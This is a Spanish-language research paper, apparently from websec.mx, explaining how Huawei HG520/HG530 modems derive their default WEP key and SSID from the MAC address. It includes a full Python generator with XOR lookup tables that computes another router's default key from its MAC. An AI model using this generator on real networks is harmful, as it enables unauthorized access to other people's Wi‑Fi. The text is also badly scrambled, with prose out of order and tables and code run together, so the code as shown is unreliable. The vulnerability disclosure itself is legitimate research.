13/1/2011

mac2wepkey
Huawei HG520 WEP default

Huawei HG520b, HG520c y HG530
Es posible generar la WEP/WPA default de los módems Huawei modelos HG520. El propósito
de este documento es explicar la forma en la que desarrollamos un generador para estos
dispositivos.

Los módems Huawei modelos HG520b y HG520c cuentan con un software para generar su
contraseña WEP y SSID predeterminados a partir de su dirección MAC. El nombre de este
software es mac2wepkey y se encuentra disponible en su interfaz de TELNET.
Es posible cambiar la dirección MAC de nuestro módem para generar la WEP prederterminada
de otro módem del cual conozcamos su dirección MAC.

Obtener la WEP predeterminada de un HG520 a partir de su MAC usando TELNET

Después de analizar los bits y la manera en que cambian. Estos valores corresponden a los números 1 al 9 y a las letras a-f en codificación ASCII. supimos que podía ser XOR. de 100 a 200 lineas. . Lo primero que notamos fue que la WEP tomaba valores del 30 al 39 y del 61 al 66. ejemplo: Cuando introducimos la MAC(0) obtenemos el SSID Base (5aba) y WEP Base (6434376537) que utilizaremos para calcular todas las listas. Los últimos meses hemos estado investigando para obtener un algoritmo para desarrollar nuestro generador y por fin lo hemos logrado! El primer paso fue generar algunas listas de poca longitud. Primero se generaron listas generando los valores con un módem. así que formando una lista fue posible predecir el SSID y WEP consecutivo. Al observar esto concluimos que no utilizaba ningún algoritmo de encripción complejo.Esto fue publicado en los foros de la Comunidad Underground de México por adiaz en Agosto del 2010. estas listas se generaron por cada byte de la MAC. y buscar en ellas algún patrón. WEP y SSID predeterminados en módems Huawei Al analizar las listas notamos que tenían partes que se repetían en pares. en pares.

8.14.8 Completa quedaría así: N1=(0.12. Teniendo esta lista realizamos XOR 5 a todos los primeros dígitos del SSID y obtenemos la lista N1.6. .10. su valor corresponde a 0.8.Para obtener el valor del primer byte del SSID necesitamos primero generar varias listas.2.0. La lista SsidA contine las listas necesarias para obtener el primer caracter del SSID. XOR 5 (5. si lo relacionamos en la lista N1.10. Las listas completas para cada dígito de la MAC (como se muestra parcialmente en la tabla anterior).10.4.d)= 0. El primer byte de la MAC corresponde a la lista N1.6.2.12) A continuación realizaremos un ejemplo real utilizando la MAC(x): 81:23:45:AB:CD:EF A cada byte corresponde una lista diferente.14.b.1.4.14.4. El valor del primer byte es 8.f.

Se repite este proceso para las 4 listas del SSID y obtenemos: Para obtener los valores de la WEP el proceso es el mismo. Esto da como resultado 1. Al tener los 12 valores se les aplica XOR agregando el valor del primer byte de la MAC Base (6434376537). Primero obtenemos. Ya que tenemos los 12 valores se les aplica XOR agregando el valor del primer byte del SSID Base (5aba). . todos los valores correspondientes.De la misma manera obtenemos cada valor para los 12 bytes de la MAC con su lista correspondiente. El primer byte corresponde a 64 en ASCII que viene siendo d en HEXADECIMAL y al convertirlo a DECIMAL su valor es 13. que viene siendo el primer byte del SSID(x). para el primer byte de la MAC.

0.6.12.14 a11=0.4.15.4.0.11 a8=0.0.13.5.3.13.15.3.mx ­ 12/2010 i=0.14.6.13.11.2.5.13.10 a4=0.13.10.4.11.3.1.8.11.1.8.10.11.6.2.8 a7=0. en esta ocasión compartiremos la versión de python: http://www.9.8.6.14.13.12.2.12.14.12.7.5.5.11.15 a2=0.4.7.3.2.8.3.1.10. Repetimos este proceso para las 5 listas de los bytes de la WEP y obtenemos como resultado la WEP default: Hemos desarrollado el generador en varios lenguajes.1.0.5.13.4.4.14.9.0.3.5.3.10.7 a12=0.0.13.10.13.0.11.1.2.5.0 a1=0.0.9.0.14. Al convertirlo a ASCII nos da 34 que corresponde al primer byte de la clave WEP.9.2.6.15.3.14.2.11.15.15.14.8.8.12 a14=0.0.10.websec.2.0.Obtenemos como resultado 4.2.11 a13=0.5.14.11.5.2.9.0.13.9.3.6 a5=0.9.10.9.13.4.12.1.2.5.1.11 .0.3.10.2.8.7.4.0.4 a10=0.8.2.4.1.7.15.8.2.12.15.11.6.8.10.2.14.10.9.3.13.6.mac=[] a0=0.11.5.0.7.4.4.8.13.5.9.15.9.6.7.6.13.0.0.12.8.4.12.8.7.7.11.7.6.0.8.4.12.12 a6=0.8.9.15.15.5.1.0.13.15.4 a9=0.0.1.8.12.10.11.8.3.6.9.mx/blog/ver/mac2wepkey_huawei # mac2wepkey Huawei HG520 by hochoa@websec.1.8 a3=0.7.0.15.10.6.3.14.12.

2.10.4.12.13.4.15.8.7.4.'f'] def hex2dec(s):     return int(s.5 n4=0.0.13.14.7.9.12.2.11.10.mx    #" print "  #####################################################" mac2=raw_input("\n  Ingresa la MAC: ").15.2.13.11.13.4.2.3.8.12.15 n22=0.15.9.1.8.12.5.14.4.10.3 n21=0.12.0.7.12.7.11.11.15.9.11.1.10.10.0.3.3.6.1 n16=0.3.7.'e'.7.2.4.6.8.12.2.6.1.11.11 n17=0.9.7.replace(':'.11.1.3.33.5.7.8.10.8.10.6 n5=0.5 n32=0.1.2.11.5.5.10.6.4.1.6.10.10 n26=0.8.10.8.12.4.13.1.6.13.6.1.15.6.7.8.1.1.9.6.2.0 n9=0.9.13.0.5.4.2.6.7.2.3.15 n11=0.10.15.14.4.13.7.2.9.10 n29=0.10.0.10.14 n6=0.10 n28=0.15.15.13.38.8.11.5.9.0.13.9.12.13.10.4.12.32.2.11.7.14.10.7.10.3 n30=0.1.7.12.11.0.12.12.4.14.4.7.4.11.6.8.0.8.4.15.2.13.5.2.8.9.8.6.4.13.11.4.6.31.8.9.'c'.2.3.2.5 n31=0.9.13.0.12.0.5.15.3.3.6.10.14.6.10 n15=0.10 n24=0.7.3.15.15.2.9.12.13.1.35.5.13.1.13.0.14.15.14.11.14.13.13 n23=0.2.8.7.5.14.6.6.15.14.9.3.15.5.3.4.10.5.14.13.12.12.9.7.11.5.66 ssid=[0.5.8.14.4.3.10.13 n3=0.0.3.39.13.3.4.12.5.12.1.15.9 n1=0.5.13.4 n20=0.9 key=30.9.12.36.7.1.14.4.6.6.10.37.3.62.13.7.63.5.2.7 n7=0.14.7.1.6.3.11.6.4.2.3.4.3.12.3.11.8.13.10.4.2.2.6.7.4.15.13.2 n33=0.13.10.7.6.0.6.14.9.10.8.1.1.8.13.13.65.5.9.'') while i<12: .10.7.'d'.14.12 n12=0.13.4.12.10.5.11.3.64.14.13.2.9.11.14.4.14.4.4 n10=0.14.6.'a'.7.5.12.5.34.0.7.6.1.1.3.0.0.2.14.4.1.10.4.3.12.3.6 n8=0.5.7.7.4.3.11.4.14.8.1.7.3.6.4.6.9.3 n25=0.11.10.11 n27=0.12.8.2.7.9.6.6.2 n19=0.14.13.2.7.2.12.2.8.12.8.14.2.12.14.4.2.4.12.9.2.0.14.5.9.14.7.9.5.11.5.11 n14=0.0.12.0.11.9.15.3.14.6.11.15.4.6.8.8.14.10.11.0.9.9.3.5.9.14.4.a15=0.11.13.6.0.3.1.4.3.15.6 n18=0.11.0.2.10.4.9.'b'.13.1.mx  ­ http://websec.3.5.3.7.1.1.1.6.11.3.14.1.8.7.2.11.9 n13=0.12 n2=0. 16) print "\n  #####################################################" print "  #      Huawei Echo Life HG520 mac2wepkey     #" print "  #     hochoa@websec.14.14.3.5.14.9.61.0.

i=i+1 s1=(n1[mac[0]])^(a4[mac[1]])^(a6[mac[2]])^(a1[mac[3]])^(a11[mac[4]])^( n20[mac[5]])^(a10[mac[6]])^(a4[mac[7]])^(a8[mac[8]])^(a2[mac[9]])^(a5[ mac[10]])^(a9[mac[11]])^5 s2=(n2[mac[0]])^(n8[mac[1]])^(n15[mac[2]])^(n17[mac[3]])^(a12[mac[4]]) ^(n21[mac[5]])^(n24[mac[6]])^(a9[mac[7]])^(n27[mac[8]])^(n29[mac[9]])^ (a11[mac[10]])^(n32[mac[11]])^10 s3=(n3[mac[0]])^(n9[mac[1]])^(a5[mac[2]])^(a9[mac[3]])^(n19[mac[4]])^( n22[mac[5]])^(a12[mac[6]])^(n25[mac[7]])^(a11[mac[8]])^(a13[mac[9]])^( n30[mac[10]])^(n33[mac[11]])^11 s4=(n4[mac[0]])^(n10[mac[1]])^(n16[mac[2]])^(n18[mac[3]])^(a13[mac[4]] )^(n23[mac[5]])^(a1[mac[6]])^(n26[mac[7]])^(n28[mac[8]])^(a3[mac[9]])^ (a6[mac[10]])^(a0[mac[11]])^10 ya=(a2[mac[0]])^(n11[mac[1]])^(a7[mac[2]])^(a8[mac[3]])^(a14[mac[4]])^ (a5[mac[5]])^(a5[mac[6]])^(a2[mac[7]])^(a0[mac[8]])^(a1[mac[9]])^(a15[ mac[10]])^(a0[mac[11]])^13 yb=(n5[mac[0]])^(n12[mac[1]])^(a5[mac[2]])^(a7[mac[3]])^(a2[mac[4]])^( a14[mac[5]])^(a1[mac[6]])^(a5[mac[7]])^(a0[mac[8]])^(a0[mac[9]])^(n31[ mac[10]])^(a15[mac[11]])^4 yc=(a3[mac[0]])^(a5[mac[1]])^(a2[mac[2]])^(a10[mac[3]])^(a7[mac[4]])^( a8[mac[5]])^(a14[mac[6]])^(a5[mac[7]])^(a5[mac[8]])^(a2[mac[9]])^(a0[m ac[10]])^(a1[mac[11]])^7 yd=(n6[mac[0]])^(n13[mac[1]])^(a8[mac[2]])^(a2[mac[3]])^(a5[mac[4]])^( a7[mac[5]])^(a2[mac[6]])^(a14[mac[7]])^(a1[mac[8]])^(a5[mac[9]])^(a0[m ac[10]])^(a0[mac[11]])^14 ye=(n7[mac[0]])^(n14[mac[1]])^(a3[mac[2]])^(a5[mac[3]])^(a2[mac[4]])^( a10[mac[5]])^(a7[mac[6]])^(a8[mac[7]])^(a14[mac[8]])^(a5[mac[9]])^(a5[ mac[10]])^(a2[mac[11]])^7 print "\n       WEP = "+str(key[ya])+str(key[yb])+str(key[yc]) +str(key[yd])+str(key[ye])+"   SSID = "+str(ssid[s1])+str(ssid[s2]) +str(ssid[s3])+str(ssid[s4])+"\n\n" Investigación realizada por Humberto Ochoa hochoa@websec.insert(i.mx .    mac.websec.hex2dec(mac2[i])).mx http://www.

Sign up to vote on this title
UsefulNot useful